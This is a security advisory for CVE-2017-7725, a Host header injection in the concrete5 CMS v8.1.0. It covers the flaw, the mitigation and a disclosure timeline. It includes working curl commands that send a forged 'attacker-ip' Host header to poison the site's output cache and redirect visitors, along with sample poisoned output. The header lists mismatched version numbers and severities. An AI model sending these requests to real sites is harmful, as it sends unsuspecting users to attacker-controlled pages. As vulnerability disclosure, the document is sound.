Concrete5 v8.1.0 Host Header Injection

vendor:

concrete5

by:

John Page a.k.a hyp3rlinx

6.1

CVSS

MEDIUM

Host Header Injection

CWE

Product Name: concrete5

Affected Version From: 8.1.2000

Affected Version To: 8.1.2000

Patch Exists: YES

Related CWE: CVE-2017-7725

CPE: concrete5:concrete5:8.1.0

Metasploit:

Other Scripts:

Platforms Tested:

2017

Concrete5 v8.1.0 Host Header Injection

If a user does not specify a 'canonical' URL on installation of concrete5, unauthenticated remote attackers can write to the 'collectionversionblocksoutputcache' table of the MySQL Database, by making HTTP GET request with a poisoned HOST header. Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.

Mitigation:

Specify a 'canonical' URL during installation to prevent this vulnerability. Patch available from the vendor's website.

Source

Exploit-DB raw data:

[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==================
www.concrete5.org



Product:
================
concrete5 v8.1.0

concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.


Vulnerability Type:
======================
Host Header Injection



CVE Reference:
==============
CVE-2017-7725



Security Issue:
================
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.  

Example MySQL data from "CollectionVersionBlocksOutputCache" table.

(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489


e.g.

c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more


<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
    <link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
    var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
    var CCM_CID = 162;
    var CCM_EDIT_MODE = false;
    var CCM_ARRANGE_MODE = false;
    var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
    var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
    var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0";       <=================== HERE
    var CCM_REL = "/concrete5-8.1.0";
</script>



Exploit:
=========

curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"

Navigate to one of these URLs:

http://VICTIM-IP/concrete5-8.1.0/index.php/services
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio

Click on links in header portion of the webpage from one of the above URLs.

Services
Portfolio
Team / Drop down Menu
Blog
Contact

OR 

click on the links on footer portion of the webpage.

FAQ / Help 
Case Studies
Blog
Another Link
View on Google Maps


Result: user gets redirected to attacker-ip.



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
======================================================
Vendor Notification :  April 11, 2017 
Vendor reply: "this is a known issue" : April 12, 2017 
Requested a CVE from mitre. 
CVE assigned : April 12, 2017
April 13, 2017  : Public Disclosure



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or exploits by the author or elsewhere. All content (c).